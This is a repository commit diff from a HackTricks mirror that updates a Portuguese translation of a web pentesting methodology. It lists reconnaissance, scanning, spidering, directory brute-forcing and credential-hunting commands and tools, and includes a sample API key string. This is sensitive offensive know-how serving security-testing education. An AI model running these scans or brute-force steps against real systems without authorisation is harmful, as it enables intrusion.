maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-web/deserialization/basic-.net-deserializati

Browse Source
This commit is contained in:
Translator 2025-09-08 03:08:47 +00:00
parent 7dd64a3298
commit ad55d1843e
5 changed files with 509 additions and 261 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
src/SUMMARY.md
View File

@ -447,6 +447,7 @@
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)
- [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md)
- [Sitecore](network-services-pentesting/pentesting-web/sitecore/README.md)
- [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md)
- [PHP - Useful Functions & disable_functions/open_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md)
- [disable_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md)
@ -929,4 +930,3 @@
- [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md)
- [Cookies Policy](todo/cookies-policy.md)

231
src/network-services-pentesting/pentesting-web/README.md
View File

@ -1,12 +1,12 @@
# 80,443 - Metodologia de Pentesting Web
# 80,443 - Metodologia Web de Pentesting
{{#include ../../banners/hacktricks-training.md}}
## Informações Básicas
O serviço web é o tipo de serviço mais **comum e abrangente** e há muitos **diferentes tipos de vulnerabilidades**.
O serviço web é o serviço mais **comum e abrangente** e existem muitos **tipos diferentes de vulnerabilidades**.
**Porta padrão:** 80 (HTTP), 443(HTTPS)
**Porta padrão:** 80 (HTTP), 443 (HTTPS)
```bash
PORT STATE SERVICE
80/tcp open http
@ -17,7 +17,7 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
### Diretrizes para Web API
### Orientações para Web API
{{#ref}}
@ -26,36 +26,36 @@ web-api-pentesting.md
## Resumo da metodologia
> Nesta metodologia vamos supor que você vai atacar um domínio (ou subdomínio) e apenas esse. Portanto, você deve aplicar esta metodologia a cada domínio, subdomínio ou IP descoberto com servidor web não determinado dentro do escopo.
> Nesta metodologia vamos supor que você irá atacar um domínio (ou subdomínio) e somente esse. Portanto, você deve aplicar esta metodologia a cada domínio, subdomínio ou IP descoberto com servidor web indeterminado dentro do escopo.
- [ ] Comece por **identificar** as **tecnologias** usadas pelo servidor web. Procure por **tricks** para ter em mente durante o resto do teste se você conseguir identificar a tech com sucesso.
- [ ] Existe alguma **vulnerabilidade conhecida** na versão da tecnologia?
- [ ] Está usando alguma **well known tech**? Algum **useful trick** para extrair mais informação?
- [ ] Algum **specialised scanner** para executar (como wpscan)?
- [ ] Execute **general purposes scanners**. Você nunca sabe se vão encontrar algo ou informações interessantes.
- [ ] Comece com as **initial checks**: **robots**, **sitemap**, erro **404** e **SSL/TLS scan** (se HTTPS).
- [ ] Comece **spidering** a página web: é hora de **encontrar** todos os possíveis **arquivos, pastas** e **parâmetros em uso.** Também verifique por **special findings**.
- [ ] Comece por **identificar** as **tecnologias** usadas pelo servidor web. Procure por **truques** para ter em mente durante o resto do teste se você conseguir identificar a tecnologia com sucesso.
- [ ] Alguma **vulnerabilidade conhecida** na versão da tecnologia?
- [ ] Usando alguma **well known tech**? Algum **truque útil** para extrair mais informação?
- [ ] Algum **specialised scanner** para rodar (like wpscan)?
- [ ] Execute **general purposes scanners**. Você nunca sabe se eles vão encontrar algo ou alguma informação interessante.
- [ ] Comece com as **verificações iniciais**: **robots**, **sitemap**, erro **404** e **SSL/TLS scan** (se HTTPS).
- [ ] Comece a **spidering** a página web: é hora de **encontrar** todos os possíveis **arquivos, pastas** e **parâmetros em uso.** Além disso, verifique por **descobertas especiais**.
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._
- [ ] Directory Brute-Forcing: Tente fazer brute-force em todas as pastas descobertas procurando por novos **files** e **diretórios**.
- [ ] **Directory Brute-Forcing**: Tente brute forcear todas as pastas descobertas procurando por novos **arquivos** e **diretórios**.
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
- [ ] **Verificação de backups**: Teste se você pode encontrar **backups** dos **arquivos descobertos** adicionando extensões de backup comuns.
- [ ] **Backups checking**: Teste se você consegue encontrar **backups** de **arquivos descobertos** adicionando extensões de backup comuns.
- [ ] **Brute-Force parameters**: Tente **encontrar parâmetros ocultos**.
- [ ] Depois de ter **identificado** todos os possíveis **endpoints** que aceitam **user input**, verifique todos os tipos de **vulnerabilidades** relacionados a eles.
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
- [ ] Uma vez que você tenha **identificado** todos os possíveis **endpoints** que aceitam **user input**, verifique todos os tipos de **vulnerabilidades** relacionados a eles.
- [ ] [Siga este checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
## Versão do servidor (Vulnerável?)
### Identificar
Verifique se existem **vulnerabilidades conhecidas** para a **versão** do servidor que está em execução.\
Os **HTTP headers and cookies of the response** podem ser muito úteis para **identificar** as **tecnologias** e/ou **versão** em uso. **Nmap scan** pode identificar a versão do servidor, mas também podem ser úteis as ferramentas [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:**
Verifique se há **vulnerabilidades conhecidas** para a **versão** do servidor que está em execução.\
Os **HTTP headers and cookies of the response** podem ser muito úteis para **identificar** as **technologies** e/ou **version** em uso. **Nmap scan** pode identificar a versão do servidor, mas também podem ser úteis as ferramentas [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Pesquisar **por** [**vulnerabilidades da versão da aplicação web**](../../generic-hacking/search-exploits.md)
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
### **Verificar se existe algum WAF**
@ -63,7 +63,7 @@ Pesquisar **por** [**vulnerabilidades da versão da aplicação web**](../../gen
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### Truques de tecnologias web
### Truques de tecnologia web
Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologias** bem conhecidas em uso:
@ -99,21 +99,22 @@ Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologi
- [**WebDav**](put-method-webdav.md)
- [**Werkzeug**](werkzeug.md)
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS para RCE)**](electron-desktop-apps/index.html)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
- [**Sitecore**](sitecore/index.html)
_Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\
Se a aplicação web estiver usando qualquer **tech/platform conhecida listada acima** ou **outra qualquer**, não esqueça de **pesquisar na Internet** novos truques (e me avise!).
_Tenha em conta que o **mesmo domínio** pode estar a usar **diferentes tecnologias** em diferentes **ports**, **pastas** e **subdomínios**._\
Se a web application estiver a usar alguma **tech/platform** bem conhecida listada acima ou **qualquer outra**, não se esqueça de **procurar na Internet** por novos truques (e avise-me!).
### Source Code Review
### Revisão de Código Fonte
Se o **código fonte** da aplicação estiver disponível no **github**, além de realizar por **si mesmo um teste White box** da aplicação, há **algumas informações** que podem ser **úteis** para o atual **Black-Box testing**:
Se o **source code** da aplicação estiver disponível no **github**, para além de realizar por **sua própria um White box test** da aplicação, há **algumas informações** que podem ser **úteis** para o atual **Black-Box testing**:
- Existe um **Change-log or Readme or Version** file ou qualquer coisa com **informação de versão acessível** via web?
- Como e onde estão salvas as **credentials**? Existe algum (acessível?) **file** com credentials (nomes de usuário ou senhas)?
- As **senhas** estão em **plain text**, **encrypted** ou qual **hashing algorithm** é usado?
- Está a usar alguma **master key** para encriptar algo? Qual **algoritmo** é usado?
- Você consegue **acessar algum desses arquivos** explorando alguma vulnerabilidade?
- Existe alguma **informação interessante no github** (issues resolvidas ou não)? Ou no **commit history** (talvez alguma **senha** introduzida em um commit antigo)?
- Existe algum arquivo Change-log, Readme ou Version, ou qualquer coisa com informação de versão acessível via web?
- Como e onde são guardadas as **credentials**? Existe algum (acessível?) **file** com credentials (nomes de usuário ou senhas)?
- As senhas estão em **plain text**, **encrypted** ou que **algoritmo de hashing** é usado?
- Está a usar alguma **master key** para encriptar algo? Que **algoritmo** é usado?
- É possível **aceder a algum destes ficheiros** explorando alguma vulnerabilidade?
- Há alguma **informação interessante no github** (issues resolvidas e não resolvidas)? Ou no **histórico de commits** (talvez alguma **password** introduzida num commit antigo)?
{{#ref}}
code-review-tools.md
@ -133,12 +134,12 @@ nuclei -ut && nuclei -target <URL>
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
```
#### Scanners de CMS
#### CMS scanners
Se um CMS for usado, não se esqueça de **executar um scanner**, talvez algo interessante seja encontrado:
Se um CMS for usado, não se esqueça de **run a scanner**, talvez algo interessante seja encontrado:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites com problemas de segurança. (GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites para problemas de segurança. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ou** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -148,15 +149,15 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> Neste ponto você já deve ter algumas informações sobre o web server usado pelo cliente (se houver algum dado fornecido) e alguns truques para ter em mente durante o teste. Se tiver sorte, você até encontrou um CMS e executou algum scanner.
> Neste ponto você já deve ter algumas informações sobre o servidor web usado pelo cliente (se houver dados fornecidos) e alguns truques para ter em mente durante o teste. Se tiver sorte, talvez já tenha encontrado um CMS e executado algum scanner.
## Step-by-step Web Application Discovery
## Descoberta de Aplicações Web passo a passo
> A partir deste ponto vamos começar a interagir com a aplicação web.
### Initial checks
### Verificações iniciais
**Default pages with interesting info:**
**Páginas padrão com informações interessantes:**
- /robots.txt
- /sitemap.xml
@ -165,28 +166,28 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- /.well-known/
- Verifique também comentários nas páginas principais e secundárias.
**Forcing errors**
**Forçando erros**
Web servers may **se comportar de forma inesperada** quando dados estranhos são enviados para eles. Isso pode abrir **vulnerabilidades** ou **divulgar informações sensíveis**.
Servidores web podem **comportar-se de forma inesperada** quando dados estranhos são enviados a eles. Isso pode abrir **vulnerabilidades** ou **revelar informação sensível**.
- Acesse **páginas fake** como /whatever_fake.php (.aspx,.html,.etc)
- **Adicione "\[]", "]]", and "\[\["** em **valores de cookie** e **valores de parâmetros** para criar erros
- Gere erro dando input como **`/~randomthing/%s`** no **final** da **URL**
- Tente **different HTTP Verbs** como PATCH, DEBUG ou verbos inválidos como FAKE
- Acesse **páginas falsas** como /whatever_fake.php (.aspx,.html,.etc)
- **Adicione "\[]", "]]", and "\[["** em **valores de cookie** e **valores de parâmetro** para criar erros
- Gere um erro fornecendo input como **`/~randomthing/%s`** no **final** da **URL**
- Tente **diferentes HTTP Verbs** como PATCH, DEBUG ou incorretos como FAKE
#### **Verifique se você pode fazer upload de arquivos (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
#### **Verifique se você pode enviar arquivos (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
Se você descobrir que **WebDav** está **ativado** mas não tem permissões suficientes para **fazer upload de arquivos** na pasta root tente:
Se você descobrir que o **WebDav** está **habilitado** mas não tem permissões suficientes para **enviar arquivos** na pasta root tente:
- **Brute Force** credenciais
- **Fazer upload de arquivos** via WebDav para o **restante** das **pastas encontradas** dentro da página web. Você pode ter permissões para enviar arquivos em outras pastas.
- **Faça upload de arquivos** via WebDav para o **restante** das **pastas encontradas** dentro da página web. Você pode ter permissões para enviar arquivos em outras pastas.
### **SSL/TLS vulnerabilites**
### **Vulnerabilidades SSL/TLS**
- Se a aplicação **não estiver forçando o uso de HTTPS** em nenhuma parte, então está **vulnerável a MitM**
- Se a aplicação estiver **enviando dados sensíveis (senhas) usando HTTP**, então é uma vulnerabilidade alta.
Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para checar por **vulnerabilidades** (em programas de Bug Bounty provavelmente esse tipo de vulnerabilidade não será aceito) e use [**a2sv** ](https://github.com/hahwul/a2sv) para reverificar as vulnerabilidades:
Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vulnerabilidades** (Em programas de Bug Bounty provavelmente esse tipo de vulnerabilidade não será aceito) e use [**a2sv**](https://github.com/hahwul/a2sv) para rechecagem das vulnerabilidades:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -195,60 +196,60 @@ Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para checar por **v
sslscan <host:port>
sslyze --regular <ip:port>
```
Information about SSL/TLS vulnerabilities:
Informações sobre vulnerabilidades SSL/TLS:
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
### Spidering
Inicie algum tipo de **spider** no site. O objetivo do spider é **encontrar o maior número possível de paths** da aplicação testada. Portanto, web crawling e fontes externas devem ser usadas para descobrir o máximo de paths válidos possível.
Lance algum tipo de **spider** dentro da web. O objetivo do spider é **encontrar o máximo de paths possível** da aplicação testada. Portanto, web crawling e fontes externas devem ser usadas para localizar o maior número possível de paths válidos.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile
- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools.
- [**subjs**](https://github.com/lc/subjs) (go): Find JS files.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder em arquivos JS e fontes externas (Archive.org, CommonCrawl.org, VirusTotal.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, com LinkFider para arquivos JS e Archive.org como fonte externa.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, também indica "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. Também pesquisa no Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): Esta ferramenta não é um spider, mas pode ser útil. Você pode indicar um arquivo com hosts e um arquivo com paths e o meg irá buscar cada path em cada host e salvar a resposta.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider com capacidades de rendering de JS. No entanto, parece estar sem manutenção, a versão pré-compilada é antiga e o código atual não compila.
- [**gau**](https://github.com/lc/gau) (go): HTML spider que usa provedores externos (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Este script vai encontrar URLs com parâmetro e listá-las.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider com capacidades de rendering de JS.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, com capacidades de JS beautify capaz de buscar novos paths em arquivos JS. Pode valer a pena também dar uma olhada em [JSScanner](https://github.com/dark-warlord14/JSScanner), que é um wrapper do LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extrair endpoints tanto do source HTML quanto de arquivos javascript embutidos. Útil para bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Um script python 2.7 usando Tornado e JSBeautifier para parsear URLs relativas de arquivos JavaScript. Útil para descobrir facilmente requisições AJAX. Parece desatualizado.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado um arquivo (HTML) ele extrai URLs usando expressões regulares interessantes para encontrar e extrair URLs relativas de arquivos feios (minificados).
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, várias ferramentas): Coleta informação interessante de arquivos JS usando várias ferramentas.
- [**subjs**](https://github.com/lc/subjs) (go): Encontra arquivos JS.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carrega uma página em um headless browser e imprime todas as urls carregadas para renderizar a página.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Ferramenta de content discovery que mistura várias opções das ferramentas anteriores
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Uma extensão do Burp para encontrar paths e params em arquivos JS.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uma ferramenta que, dado o .js.map URL, obtém o código JS beautified
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Ferramenta usada para descobrir endpoints para um dado target.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descobre links do wayback machine (também baixando as respostas no wayback e procurando mais links)
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Faz crawl (inclusive preenchendo forms) e também encontra info sensível usando regexes específicas.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite é um crawler/spider de segurança web multi-funcional com GUI, projetado para profissionais de cyber security.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): É um pacote Go e [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extrair URLs, paths, secrets e outros dados interessantes do código fonte JavaScript.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge é uma simples **Burp Suite extension** para **extrair os parâmetros e endpoints** da request para criar wordlists customizadas para fuzzing e enumeração.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Excelente ferramenta para isso.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Imprime todo link que consegue encontrar.
### Brute Force directories and files
Comece o **brute-forcing** a partir da pasta root e certifique-se de brute-force **todos** os **diretórios encontrados** usando **este método** e todos os diretórios **descobertos** pelo **Spidering** (você pode fazer esse brute-forcing **recursivamente** e anexar no início da wordlist usada os nomes dos diretórios encontrados).\
Comece o **brute-forcing** a partir da pasta root e tenha certeza de brute-forçar **todos** os **diretórios encontrados** usando **este método** e todos os diretórios **descobertos** pelo **Spidering** (você pode fazer esse brute-forcing **recursivamente** e acrescentando no início da wordlist usada os nomes dos diretórios encontrados).\
Ferramentas:
- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
- **Dirb** / **Dirbuster** - Incluído no Kali, **old** (e **slow**) mas funcional. Permite certificados autoassinados e busca recursiva. Muito lento comparado com as outras opções.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Não permite certificados autoassinados mas** permite busca recursiva.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Permite certificados autoassinados, não possui busca **recursiva**.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
- [**uro**](https://github.com/s0md3v/uro) (python): Isto não é um spider, mas uma ferramenta que, dada a lista de URLs encontradas, vai eliminar URLs "duplicadas".
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension para criar uma lista de diretórios a partir do histórico do burp de diferentes páginas
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs com funcionalidades duplicadas (baseado em imports js)
- [**Chamaleon**](https://github.com/iustin24/chameleon): Usa wapalyzer para detectar tecnologias usadas e selecionar as wordlists a serem utilizadas.
**Recommended dictionaries:**
**Dicionários recomendados:**
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@ -267,41 +268,41 @@ Ferramentas:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Obs.: sempre que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser Brute-Forced._
_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers
- **File Backups**: Once you have found all the files, look for backups of all the executable files ("_.php_", "_.aspx_"...). Common variations for naming a backup are: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ You can also use the tool [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Discover new parameters**: You can use tools like [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **to discover hidden parameters. If you can, you could try to search** hidden parameters on each executable web file.
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encontra links quebrados dentro de HTMLs que podem ser propensos a takeover
- **File Backups**: Depois de encontrar todos os arquivos, procure por backups de todos os arquivos executáveis ("_.php_", "_.aspx_"...). Variações comuns de nome para backups: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Você também pode usar a ferramenta [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Discover new parameters**: Você pode usar ferramentas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descobrir parâmetros ocultos. Se possível, tente buscar** parâmetros ocultos em cada arquivo web executável.
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comments:** Check the comments of all the files, you can find **credentials** or **hidden functionality**.
- If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page.
- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access.
- **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/index.html).
- **Comments:** Verifique os comentários de todos os arquivos, você pode encontrar **credentials** ou **funcionalidade oculta**.
- Se você estiver fazendo **CTF**, um truque "comum" é **esconder** **informação** dentro de comentários à **direita** da **página** (usando **centenas** de **espaços** para que você não veja os dados se abrir o source no navegador). Outra possibilidade é usar **várias linhas novas** e **esconder informação** em um comentário no **final** da página web.
